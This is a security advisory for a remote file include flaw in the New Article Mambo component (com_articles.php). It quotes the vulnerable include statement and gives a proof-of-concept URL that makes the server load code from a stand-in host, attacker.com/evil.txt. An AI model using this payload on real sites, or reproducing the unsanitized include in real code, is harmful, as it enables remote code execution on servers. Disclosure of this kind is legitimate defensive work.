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New Article Mambo Component <= 1.0 (com_articles.php) Remote File Include Vulnerabilities
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Author : Ahmad Maulana a.k.a Matdhule
Date : July 17th 2006
Location : Indonesia, Jakarta
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
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Affected software description:
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Application : New Article Component (com_articles.php)
Version : 1.0
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Vulnerability:
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In folder components we found vulnerability script com_articles.php.
-----------------------com_articles.php---------------------------------
<?php
include($absolute_path.'/language/'.$lang.'/lang_articles.php');
require("classes/html/com_articles.php");
$articles = new articles();
Variables $absolute_path are not properly sanitized. When register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.
Proof Of Concept:
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http://[target]/[path]/components/com_articles.php?absolute_path=http://attacker.com/evil.txt?
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Solution:
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sanitize variabel $absolute_path.
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Shoutz:
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~ solpot a.k.a chris, J4mbi H4ck3r for the hacking lesson :)
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ newbie_hacker@xxxxxxxxxxxxxxx, jasakom_perjuangan@xxxxxxxxxxxxxxx
~ #mardongan #jambihackerlink #e-c-h-o @irc.dal.net
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Contact:
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matdhule[at]gmail[dot]com
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